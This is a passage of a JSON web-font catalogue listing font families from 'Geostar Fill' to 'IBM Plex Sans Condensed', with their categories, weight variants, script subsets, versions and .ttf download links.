"Geostar Fill", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geostarfill/v10/AMOWz4SWuWiXFfjEohxQ9os0U1K2w9lb4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Germania One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/germaniaone/v7/Fh4yPjrqIyv2ucM2qzBjeS3ezAJONau6ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Gidugu", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gidugu/v6/L0x8DFMkk1Uf6w3RvPCmRSlUig.ttf" } }, { "kind": "webfonts#webfont", "family": "Gilda Display", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gildadisplay/v7/t5tmIRoYMoaYG0WEOh7HwMeR7TnFrpOHYh4.ttf" } }, { "kind": "webfonts#webfont", "family": "Girassol", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/girassol/v1/JTUUjIo_-DK48laaNC9Nz2pJzxbi.ttf" } }, { "kind": "webfonts#webfont", "family": "Give You Glory", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/giveyouglory/v9/8QIQdiHOgt3vv4LR7ahjw9-XYc1zB4ZD6rwa.ttf" } }, { "kind": "webfonts#webfont", "family": "Glass Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/glassantiqua/v7/xfu30Wr0Wn3NOQM2piC0uXOjnL_wN6fRUkY.ttf" } }, { "kind": "webfonts#webfont", "family": "Glegoo", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/glegoo/v9/_Xmt-HQyrTKWaw2Ji6mZAI91xw.ttf", "700": "http://fonts.gstatic.com/s/glegoo/v9/_Xmu-HQyrTKWaw2xN4a9CKRpzimMsg.ttf" } }, { "kind": "webfonts#webfont", "family": "Gloria Hallelujah", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/gloriahallelujah/v11/LYjYdHv3kUk9BMV96EIswT9DIbW-MLSy3TKEvkCF.ttf" } }, { "kind": "webfonts#webfont", "family": "Goblin One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/goblinone/v9/CSR64z1ZnOqZRjRCBVY_TOcATNt_pOU.ttf" } }, { "kind": "webfonts#webfont", "family": "Gochi Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gochihand/v10/hES06XlsOjtJsgCkx1PkTo71-n0nXWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gorditas", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gorditas/v7/ll8_K2aTVD26DsPEtQDoDa4AlxYb.ttf", "700": "http://fonts.gstatic.com/s/gorditas/v7/ll84K2aTVD26DsPEtThUIooIvAoShA1i.ttf" } }, { "kind": "webfonts#webfont", "family": "Gothic A1", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/gothica1/v8/CSR74z5ZnPydRjlCCwlCCMcqYtd2vfwk.ttf", "200": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCpOYKSPl6tOU9Eg.ttf", "300": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCwOUKSPl6tOU9Eg.ttf", "regular": "http://fonts.gstatic.com/s/gothica1/v8/CSR94z5ZnPydRjlCCwl6bM0uQNJmvQ.ttf", "500": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCmOQKSPl6tOU9Eg.ttf", "600": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCtOMKSPl6tOU9Eg.ttf", "700": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC0OIKSPl6tOU9Eg.ttf", "800": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCzOEKSPl6tOU9Eg.ttf", "900": "http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC6OAKSPl6tOU9Eg.ttf" } }, { "kind": "webfonts#webfont", "family": "Gotu", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "devanagari", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/gotu/v1/o-0FIpksx3QOlH0Lioh6-hU.ttf" } }, { "kind": "webfonts#webfont", "family": "Goudy Bookletter 1911", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/goudybookletter1911/v9/sykt-z54laciWfKv-kX8krex0jDiD2HbY6I5tRbXZ4IXAA.ttf" } }, { "kind": "webfonts#webfont", "family": "Graduate", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/graduate/v7/C8cg4cs3o2n15t_2YxgR6X2NZAn2.ttf" } }, { "kind": "webfonts#webfont", "family": "Grand Hotel", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/grandhotel/v7/7Au7p_IgjDKdCRWuR1azpmQNEl0O0kEx.ttf" } }, { "kind": "webfonts#webfont", "family": "Gravitas One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gravitasone/v9/5h1diZ4hJ3cblKy3LWakKQmaDWRNr3DzbQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Great Vibes", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/greatvibes/v7/RWmMoKWR9v4ksMfaWd_JN-XCg6UKDXlq.ttf" } }, { "kind": "webfonts#webfont", "family": "Grenze", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqPm2IjuAkalnmd.ttf", "100italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZXFGb7hR12BxqH_VpHsg04k2md0kI.ttf", "200": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPN0MDkicWn2CEyw.ttf", "200italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vrrky0SvWWUy1uW.ttf", "300": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPU0ADkicWn2CEyw.ttf", "300italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqPkC0SvWWUy1uW.ttf", "regular": "http://fonts.gstatic.com/s/grenze/v1/O4ZTFGb7hR12Bxq3_2gnmgwKlg.ttf", "italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZRFGb7hR12BxqH_WIjuAkalnmd.ttf", "500": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPC0EDkicWn2CEyw.ttf", "500italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VrXkS0SvWWUy1uW.ttf", "600": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPJ0YDkicWn2CEyw.ttf", "600italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vr7li0SvWWUy1uW.ttf", "700": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPQ0cDkicWn2CEyw.ttf", "700italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_Vqfly0SvWWUy1uW.ttf", "800": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPX0QDkicWn2CEyw.ttf", "800italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqDlC0SvWWUy1uW.ttf", "900": "http://fonts.gstatic.com/s/grenze/v1/O4ZQFGb7hR12BxqPe0UDkicWn2CEyw.ttf", "900italic": "http://fonts.gstatic.com/s/grenze/v1/O4ZWFGb7hR12BxqH_VqnlS0SvWWUy1uW.ttf" } }, { "kind": "webfonts#webfont", "family": "Griffy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/griffy/v8/FwZa7-ox2FQh9kfwSNSEwM2zpA.ttf" } }, { "kind": "webfonts#webfont", "family": "Gruppo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gruppo/v10/WwkfxPmzE06v_ZWFWXDAOIEQUQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gudea", "category": "sans-serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gudea/v9/neIFzCqgsI0mp-CP9IGON7Ez.ttf", "italic": "http://fonts.gstatic.com/s/gudea/v9/neILzCqgsI0mp9CN_oWsMqEzSJQ.ttf", "700": "http://fonts.gstatic.com/s/gudea/v9/neIIzCqgsI0mp9gz26WGHK06UY30.ttf" } }, { "kind": "webfonts#webfont", "family": "Gugi", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gugi/v8/A2BVn5dXywshVA6A9DEfgqM.ttf" } }, { "kind": "webfonts#webfont", "family": "Gupter", "category": "serif", "variants": [ "regular", "500", "700" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/gupter/v1/2-cm9JNmxJqPO1QUYZa_Wu_lpA.ttf", "500": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qslb-bUsT5rZhaZg.ttf", "700": "http://fonts.gstatic.com/s/gupter/v1/2-cl9JNmxJqPO1Qs3bmbUsT5rZhaZg.ttf" } }, { "kind": "webfonts#webfont", "family": "Gurajada", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gurajada/v7/FwZY7-Qx308m-l-0Kd6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Habibi", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/habibi/v8/CSR-4zFWkuqcTTNCShJeZOYySQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Halant", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2Pbsvc_pCmwZqcwdRXg.ttf", "regular": "http://fonts.gstatic.com/s/halant/v7/u-4-0qaujRI2PbsX39Jmky12eg.ttf", "500": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvK_tCmwZqcwdRXg.ttf", "600": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvB_xCmwZqcwdRXg.ttf", "700": "http://fonts.gstatic.com/s/halant/v7/u-490qaujRI2PbsvY_1CmwZqcwdRXg.ttf" } }, { "kind": "webfonts#webfont", "family": "Hammersmith One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hammersmithone/v10/qWcyB624q4L_C4jGQ9IK0O_dFlnbshsks4MRXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanalei", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-09-17", "files": { "regular": "http://fonts.gstatic.com/s/hanalei/v10/E21n_dD8iufIjBRHXzgmVydREus.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanalei Fill", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hanaleifill/v8/fC1mPYtObGbfyQznIaQzPQiMVwLBplm9aw.ttf" } }, { "kind": "webfonts#webfont", "family": "Handlee", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/handlee/v8/-F6xfjBsISg9aMakDmr6oilJ3ik.ttf" } }, { "kind": "webfonts#webfont", "family": "Hanuman", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hanuman/v13/VuJxdNvD15HhpJJBeKbXOIFneRo.ttf", "700": "http://fonts.gstatic.com/s/hanuman/v13/VuJ0dNvD15HhpJJBQBr4HIlMZRNcp0o.ttf" } }, { "kind": "webfonts#webfont", "family": "Happy Monkey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/happymonkey/v8/K2F2fZZcl-9SXwl5F_C4R_OABwD2bWqVjw.ttf" } }, { "kind": "webfonts#webfont", "family": "Harmattan", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/harmattan/v6/goksH6L2DkFvVvRp9XpTS0CjkP1Yog.ttf" } }, { "kind": "webfonts#webfont", "family": "Headland One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/headlandone/v7/yYLu0hHR2vKnp89Tk1TCq3Tx0PlTeZ3mJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Heebo", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "hebrew", "latin" ], "version": "v5", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/heebo/v5/NGS0v5_NC0k9P9mVTbRhtKMByaw.ttf", "300": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9ldb5RLmq8I0LVF.ttf", "regular": "http://fonts.gstatic.com/s/heebo/v5/NGS6v5_NC0k9P-HxR7BDsbMB.ttf", "500": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9kFbpRLmq8I0LVF.ttf", "700": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9lNaJRLmq8I0LVF.ttf", "800": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9lRa5RLmq8I0LVF.ttf", "900": "http://fonts.gstatic.com/s/heebo/v5/NGS3v5_NC0k9P9l1apRLmq8I0LVF.ttf" } }, { "kind": "webfonts#webfont", "family": "Henny Penny", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/hennypenny/v7/wXKvE3UZookzsxz_kjGSfMQqt3M7tMDT.ttf" } }, { "kind": "webfonts#webfont", "family": "Hepta Slab", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v7", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5jfbY5B0NBkz.ttf", "200": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV5zfbY5B0NBkz.ttf", "300": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvlL5zfbY5B0NBkz.ttf", "regular": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5zfbY5B0NBkz.ttf", "500": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvkn5zfbY5B0NBkz.ttf", "600": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvnL4DfbY5B0NBkz.ttf", "700": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvny4DfbY5B0NBkz.ttf", "800": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV4DfbY5B0NBkz.ttf", "900": "http://fonts.gstatic.com/s/heptaslab/v7/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvm84DfbY5B0NBkz.ttf" } }, { "kind": "webfonts#webfont", "family": "Herr Von Muellerhoff", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/herrvonmuellerhoff/v9/WBL6rFjRZkREW8WqmCWYLgCkQKXb4CAft3c6_qJY3QPQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Hi Melody", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/himelody/v8/46ktlbP8Vnz0pJcqCTbEf29E31BBGA.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfMJaIRuYjDpf5Vw.ttf", "regular": "http://fonts.gstatic.com/s/hind/v10/5aU69_a8oxmIRG5yBROzkDM.ttf", "500": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfJpbIRuYjDpf5Vw.ttf", "600": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfLZcIRuYjDpf5Vw.ttf", "700": "http://fonts.gstatic.com/s/hind/v10/5aU19_a8oxmIfNJdIRuYjDpf5Vw.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Guntur", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "telugu", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yGn1czn9zaj5Ju.ttf", "regular": "http://fonts.gstatic.com/s/hindguntur/v5/wXKvE3UZrok56nvamSuJd8Qqt3M7tMDT.ttf", "500": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zenlczn9zaj5Ju.ttf", "600": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_zymVczn9zaj5Ju.ttf", "700": "http://fonts.gstatic.com/s/hindguntur/v5/wXKyE3UZrok56nvamSuJd_yWmFczn9zaj5Ju.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Madurai", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin-ext", "tamil", "latin" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfXaUnecsoMJ0b_g.ttf", "regular": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xx0e2p98ZvDXdZQIOcpqjn8Y0DceA0OQ.ttf", "500": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfBaQnecsoMJ0b_g.ttf", "600": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfKaMnecsoMJ0b_g.ttf", "700": "http://fonts.gstatic.com/s/hindmadurai/v5/f0Xu0e2p98ZvDXdZQIOcpqjfTaInecsoMJ0b_g.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Siliguri", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "bengali", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRDf44uEfKiGvxts.ttf", "regular": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwTs5juQtsyLLR5jN4cxBEofJvQxuk0Nig.ttf", "500": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRG_54uEfKiGvxts.ttf", "600": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoREP-4uEfKiGvxts.ttf", "700": "http://fonts.gstatic.com/s/hindsiliguri/v6/ijwOs5juQtsyLLR5jN4cxBEoRCf_4uEfKiGvxts.ttf" } }, { "kind": "webfonts#webfont", "family": "Hind Vadodara", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSDn3iXM0oSOL2Yw.ttf", "regular": "http://fonts.gstatic.com/s/hindvadodara/v6/neINzCKvrIcn5pbuuuriV9tTcJXfrXsfvSo.ttf", "500": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSGH2iXM0oSOL2Yw.ttf", "600": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSE3xiXM0oSOL2Yw.ttf", "700": "http://fonts.gstatic.com/s/hindvadodara/v6/neIQzCKvrIcn5pbuuuriV9tTSCnwiXM0oSOL2Yw.ttf" } }, { "kind": "webfonts#webfont", "family": "Holtwood One SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/holtwoodonesc/v10/yYLx0hLR0P-3vMFSk1TCq3Txg5B3cbb6LZttyg.ttf" } }, { "kind": "webfonts#webfont", "family": "Homemade Apple", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/homemadeapple/v10/Qw3EZQFXECDrI2q789EKQZJob3x9Vnksi4M7.ttf" } }, { "kind": "webfonts#webfont", "family": "Homenaje", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/homenaje/v9/FwZY7-Q-xVAi_l-6Ld6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Mono", "category": "monospace", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n3kwq0n1hj-sNFQ.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6rfjptAgt5VM-kVkqdyU8n1ioStndlre4dFcFh.ttf", "200": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3uAL8ldPg-IUDNg.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSGlZFh8ARHNh4zg.ttf", "300": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3oQI8ldPg-IUDNg.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSflVFh8ARHNh4zg.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F63fjptAgt5VM-kVkqdyU8n5igg1l9kn-s.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6pfjptAgt5VM-kVkqdyU8n1ioq0n1hj-sNFQ.ttf", "500": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3twJ8ldPg-IUDNg.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSJlRFh8ARHNh4zg.ttf", "600": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3vAO8ldPg-IUDNg.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSClNFh8ARHNh4zg.ttf", "700": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6qfjptAgt5VM-kVkqdyU8n3pQP8ldPg-IUDNg.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexmono/v5/-F6sfjptAgt5VM-kVkqdyU8n1ioSblJFh8ARHNh4zg.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Sans", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKjbLeEKxIedbzDw.ttf", "100italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX8KVElMYYaJe8bpLHnCwDKhdTmdKZMW9PjD3N8.ttf", "200": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjR7_MIZmdd_qFmo.ttf", "200italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm2Idscf3vBmpl8A.ttf", "300": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjXr8MIZmdd_qFmo.ttf", "300italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmvIRscf3vBmpl8A.ttf", "regular": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYXgKVElMYYaJe8bpLHnCwDKtdbUFI5NadY.ttf", "italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX-KVElMYYaJe8bpLHnCwDKhdTeEKxIedbzDw.ttf", "500": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjSL9MIZmdd_qFmo.ttf", "500italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTm5IVscf3vBmpl8A.ttf", "600": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjQ76MIZmdd_qFmo.ttf", "600italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmyIJscf3vBmpl8A.ttf", "700": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX9KVElMYYaJe8bpLHnCwDKjWr7MIZmdd_qFmo.ttf", "700italic": "http://fonts.gstatic.com/s/ibmplexsans/v7/zYX7KVElMYYaJe8bpLHnCwDKhdTmrINscf3vBmpl8A.ttf" } }, { "kind": "webfonts#webfont", "family": "IBM Plex Sans Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": 